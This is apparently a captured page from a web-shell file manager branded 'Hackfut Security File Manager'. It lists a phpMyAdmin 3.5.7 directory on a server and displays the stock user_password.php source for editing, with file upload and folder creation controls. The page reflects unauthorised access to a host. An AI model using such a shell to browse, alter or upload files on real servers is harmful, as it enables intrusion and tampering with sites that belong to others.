File Manager

Hackfut Security File Manager

Current Path: /mnt/ceph/services/websiteos/phpmyadmin/phpMyAdmin-3.5.7-all-languages

mnt / ceph / services / websiteos / phpmyadmin / phpMyAdmin-3.5.7-all-languages /

📁 ..
📄 .htaccess(44 B)
📄 .travis.yml(139 B)
📄 ChangeLog(30.44 KB)
📄 Documentation.html(251.47 KB)
📄 Documentation.txt(175.88 KB)
📄 LICENSE(17.59 KB)
📄 README(2.05 KB)
📄 README.VENDOR(1.18 KB)
📄 RELEASE-DATE-3.5.7(29 B)
📄 browse_foreigners.php(11.1 KB)
📄 bs_disp_as_mime_type.php(1.27 KB)
📄 bs_play_media.php(2.01 KB)
📄 changelog.php(3.89 KB)
📄 chk_rel.php(363 B)
📄 config.inc.php(2.83 KB)
📄 config.sample.inc.php(3.82 KB)
📁 config_template
📄 db_create.php(4 KB)
📄 db_datadict.php(8.35 KB)
📄 db_events.php(773 B)
📄 db_export.php(2.64 KB)
📄 db_import.php(466 B)
📄 db_operations.php(21.85 KB)
📄 db_printview.php(6.91 KB)
📄 db_qbe.php(30.43 KB)
📄 db_routines.php(964 B)
📄 db_search.php(13.24 KB)
📄 db_sql.php(1.17 KB)
📄 db_structure.php(23.54 KB)
📄 db_tracking.php(7.84 KB)
📄 db_triggers.php(728 B)
📄 docs.css(2.76 KB)
📄 enum_editor.php(5.11 KB)
📁 examples
📄 export.php(27.87 KB)
📄 favicon.ico(18.46 KB)
📄 file_echo.php(2.03 KB)
📄 gis_data_editor.php(16.79 KB)
📄 htaccess.php(2.24 KB)
📄 import.php(17.47 KB)
📄 import_status.php(953 B)
📄 index.php(5.67 KB)
📁 js
📁 libraries
📄 license.php(730 B)
📁 locale
📄 main.php(16.67 KB)
📄 navigation.php(25.14 KB)
📄 phpinfo.php(349 B)
📄 phpmyadmin.css.php(1.08 KB)
📄 phpunit.xml.nocoverage(1.78 KB)
📄 pmd_display_field.php(1.74 KB)
📄 pmd_general.php(34.7 KB)
📄 pmd_pdf.php(4.16 KB)
📄 pmd_relation_new.php(3.85 KB)
📄 pmd_relation_upd.php(2.11 KB)
📄 pmd_save_pos.php(2.03 KB)
📄 prefs_forms.php(2.54 KB)
📄 prefs_manage.php(14.44 KB)
📄 print.css(1.09 KB)
📄 querywindow.php(6.3 KB)
📄 robots.txt(26 B)
📄 schema_edit.php(4.06 KB)
📄 schema_export.php(1.21 KB)
📄 server_binlog.php(6.06 KB)
📄 server_collations.php(2.54 KB)
📄 server_databases.php(9.87 KB)
📄 server_engines.php(4.88 KB)
📄 server_export.php(2.03 KB)
📄 server_import.php(477 B)
📄 server_plugins.php(7.04 KB)
📄 server_privileges.php(107.3 KB)
📄 server_replication.php(16.67 KB)
📄 server_sql.php(743 B)
📄 server_status.php(77.78 KB)
📄 server_synchronize.php(55.94 KB)
📄 server_variables.php(5.67 KB)
📁 setup
📄 show_config_errors.php(574 B)
📄 sql.php(37.2 KB)
📄 tbl_addfield.php(8.04 KB)
📄 tbl_alter.php(6.92 KB)
📄 tbl_change.php(48.74 KB)
📄 tbl_chart.php(7.66 KB)
📄 tbl_create.php(13.93 KB)
📄 tbl_export.php(2.53 KB)
📄 tbl_get_field.php(1.12 KB)
📄 tbl_gis_visualization.php(7.29 KB)
📄 tbl_import.php(624 B)
📄 tbl_indexes.php(9.46 KB)
📄 tbl_move_copy.php(2.51 KB)
📄 tbl_operations.php(31.95 KB)
📄 tbl_printview.php(14.04 KB)
📄 tbl_relation.php(23.14 KB)
📄 tbl_replace.php(23.06 KB)
📄 tbl_row_action.php(4.57 KB)
📄 tbl_select.php(10.57 KB)
📄 tbl_sql.php(1.11 KB)
📄 tbl_structure.php(39.23 KB)
📄 tbl_tracking.php(28.56 KB)
📄 tbl_triggers.php(144 B)
📄 tbl_zoom_select.php(16.86 KB)
📁 themes
📄 themes.php(822 B)
📄 transformation_overview.php(1.52 KB)
📄 transformation_wrapper.php(3.29 KB)
📄 url.php(398 B)
📄 user_password.php(4.32 KB)
📄 version_check.php(358 B)
📄 view_create.php(5.23 KB)
📄 view_operations.php(2.74 KB)
📄 webapp.php(1.06 KB)

Editing: user_password.php

<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * displays and handles the form where the user can change his password
 * linked from main.php
 *
 * @package PhpMyAdmin
 */

/**
 * no need for variables importing
 * @ignore
 */
if (! defined('PMA_NO_VARIABLES_IMPORT')) {
    define('PMA_NO_VARIABLES_IMPORT', true);
}

/**
 * Gets some core libraries
 */
require_once './libraries/common.inc.php';

$GLOBALS['js_include'][] = 'server_privileges.js';

/**
 * Displays an error message and exits if the user isn't allowed to use this
 * script
 */
if (!$cfg['ShowChgPassword']) {
    $cfg['ShowChgPassword'] = PMA_DBI_select_db('mysql');
}
if ($cfg['Server']['auth_type'] == 'config' || !$cfg['ShowChgPassword']) {
    include_once './libraries/header.inc.php';
    PMA_Message::error(__('You don\'t have sufficient privileges to be here right now!'))->display();
    include './libraries/footer.inc.php';
} // end if

/**
 * If the "change password" form has been submitted, checks for valid values
 * and submit the query or logout
 */
if (isset($_REQUEST['nopass'])) {
    // similar logic in server_privileges.php
    $_error = false;

if ($_REQUEST['nopass'] == '1') {
        $password = '';
    } elseif (empty($_REQUEST['pma_pw']) || empty($_REQUEST['pma_pw2'])) {
        $message = PMA_Message::error(__('The password is empty!'));
        $_error = true;
    } elseif ($_REQUEST['pma_pw'] != $_REQUEST['pma_pw2']) {
        $message = PMA_Message::error(__('The passwords aren\'t the same!'));
        $_error = true;
    } else {
        $password = $_REQUEST['pma_pw'];
    }

if ($GLOBALS['is_ajax_request'] == true && $_error == true) {
        /**
         * If in an Ajax request, we don't need to show the rest of the page
         */
        PMA_ajaxResponse($message, false);
    }

if (! $_error) {

// Defines the url to return to in case of error in the sql statement
        $_url_params = array();

$err_url          = 'user_password.php' . PMA_generate_common_url($_url_params);
        if (PMA_isValid($_REQUEST['pw_hash'], 'identical', 'old')) {
            $hashing_function = 'OLD_PASSWORD';
        } else {
            $hashing_function = 'PASSWORD';
        }

$sql_query        = 'SET password = ' . (($password == '') ? '\'\'' : $hashing_function . '(\'***\')');
        $local_query      = 'SET password = ' . (($password == '') ? '\'\'' : $hashing_function . '(\'' . PMA_sqlAddSlashes($password) . '\')');
        $result           = @PMA_DBI_try_query($local_query)
            or PMA_mysqlDie(PMA_DBI_getError(), $sql_query, false, $err_url);

// Changes password cookie if required
        // Duration = till the browser is closed for password (we don't want this to be saved)
        if ($cfg['Server']['auth_type'] == 'cookie') {
            $GLOBALS['PMA_Config']->setCookie('pmaPass-' . $server,
                PMA_blowfish_encrypt($password, $GLOBALS['cfg']['blowfish_secret']));
        } // end if

// For http auth. mode, the "back" link will also enforce new
        // authentication
        if ($cfg['Server']['auth_type'] == 'http') {
            $_url_params['old_usr'] = 'relog';
        }

$message = PMA_Message::success(__('The profile has been updated.'));

if ($GLOBALS['is_ajax_request'] == true) {
            $extra_data['sql_query'] = PMA_showMessage($message, $sql_query, 'success');
            PMA_ajaxResponse($message, true, $extra_data);
        }

// Displays the page
        include_once './libraries/header.inc.php';
        echo '<h1>' . __('Change password') . '</h1>' . "\n\n";
        PMA_showMessage($message, $sql_query, 'success');
        ?>
        <a href="index.php<?php echo PMA_generate_common_url($_url_params); ?>" target="_parent">
            <strong><?php echo __('Back'); ?></strong></a>
        <?php
        include './libraries/footer.inc.php';
    } // end if
} // end if

/**
 * If the "change password" form hasn't been submitted or the values submitted
 * aren't valid -> displays the form
 */
// Loads the headers
require_once './libraries/header.inc.php';

echo '<h1>' . __('Change password') . '</h1>' . "\n\n";

// Displays an error message if required
if (isset($message)) {
    $message->display();
}

require_once './libraries/display_change_password.lib.php';

/**
 * Displays the footer
 */
require './libraries/footer.inc.php';
?>

Hackfut Security File Manager

Editing: user_password.php

Upload File

Create Folder